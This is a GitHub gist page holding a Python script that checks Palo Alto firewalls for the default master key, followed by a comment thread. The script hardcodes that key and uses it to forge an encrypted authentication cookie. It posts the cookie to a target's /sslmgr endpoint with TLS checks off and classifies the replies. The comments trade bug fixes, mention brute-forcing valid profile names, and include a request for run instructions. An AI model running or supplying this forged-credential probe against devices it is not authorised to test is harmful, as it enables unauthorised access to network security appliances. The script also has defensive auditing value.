-
-
Save rqu1/6175cb2972291fc9ac96ef18f72b792c to your computer and use it in GitHub Desktop.
from hashlib import md5, sha1 | |
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes | |
from cryptography.hazmat.backends import default_backend | |
from base64 import b64encode, b64decode | |
import sys, time | |
import requests | |
DEFAULT_MASTERKEY=b'p1a2l3o4a5l6t7o8' | |
class PanCrypt(): | |
def __init__(self, key=DEFAULT_MASTERKEY): | |
backend=default_backend() | |
key=self._derivekey(key) | |
self.c=Cipher(algorithms.AES(key), modes.CBC(b'\0'*16), backend=backend) | |
def _derivekey(self,key): | |
salt=b'\x75\xb8\x49\x83\x90\xbc\x2a\x65\x9c\x56\x93\xe7\xe5\xc5\xf0\x24' # md5("pannetwork") | |
return md5(key+salt).digest()*2 | |
def _pad(self, d): | |
plen=16-(len(d)%16) | |
return d+(chr(plen)*plen).encode() | |
def _encrypt(self,data): | |
e=self.c.encryptor() | |
return e.update(self._pad(data)) + e.finalize() | |
def encrypt(self, data): | |
v='AQ==' # version 1 | |
hash=b64encode(sha1(data.encode()).digest()).decode() | |
ct=b64encode(self._encrypt(data.encode())).decode() | |
return '-'+v+hash+ct | |
def getPayload(spn): | |
email="[email protected]" | |
user="test" | |
hostid="test" | |
expiry=str(int(time.time())+1000000) | |
token_pt=":".join((expiry, user, hostid)) | |
token=PanCrypt().encrypt(token_pt) | |
return "scep-profile-name={}&user-email={}&user={}&host-id={}&appauthcookie={}".format(spn, email, user, hostid, token) | |
resp_default="<msg>Unable to find the configuration</msg>" | |
resp_params="<msg>Invalid parameters</msg>" | |
resp_invalid="<msg>Invalid Cookie</msg>" | |
resp_good="<msg>Unable to generate client certificate</msg>" | |
resps={ | |
resp_default:"Default MK", | |
resp_params: "Invalid parameters, bug?", | |
resp_invalid: "MK is not default", | |
resp_good: "Default MK, SCEP enabled and correct scep-profile-name", | |
} | |
def classify(resp): | |
for i in resps: | |
if i in resp: return resps[i] | |
return "unknown" | |
if __name__=="__main__": | |
if len(sys.argv)<2: | |
print("usage: checkmk.py <host>") | |
host=sys.argv[1]+"/sslmgr" | |
spn="test" | |
if len(sys.argv)>2: | |
spn=sys.argv[2] | |
data=getPayload(spn).encode() | |
if "http" not in host: host="https://"+host | |
#print("curl -k -d '{}' '{}'".format(data, host)) | |
r=requests.post(host, data=data, headers={"content-type":"application/x-www-form-urlencoded"},verify=False) | |
print(r.text) | |
print(classify(r.text)) | |
Having given this a go yesterday, for some odd reason the data payload was being generated as a mahoosiv file (2gb) and after some debugging, it looked like the culprit was
#34 expiry=bytes(int(time.time())+1000000)
So a colleague and I fixed that by using
expiry = struct.pack("<L", int(time.time() + 1000000))
This now does generate a more suitable payload size of 207 bytes
I'm still playing around with this, for example adding what @rqu1 mentioned above about brute-forcing valid names but for now, the code can be found here https://github.com/danielcuthbert/random_scrapers/blob/main/paloaltokeys.py
expiry = struct.pack("<L", int(time.time() + 1000000))
This does the wrong thing. The timestamp should be a textual unix timestamp, not packed. I fixed my script in this gist with
expiry=str(int(time.time())+1000000).encode()
thanks though!
aaah got ya, cool ;)
It's working fine, but using Dan's fork as it was easier to understand result from server.
Thank you both.
Hi Team,
I am just a firewall Administrator. Can Someone share the steps to run this script, please?
Many thanks for considering my request.
And here I was thinking that hard coded creds in network gear was a Cisco playbook.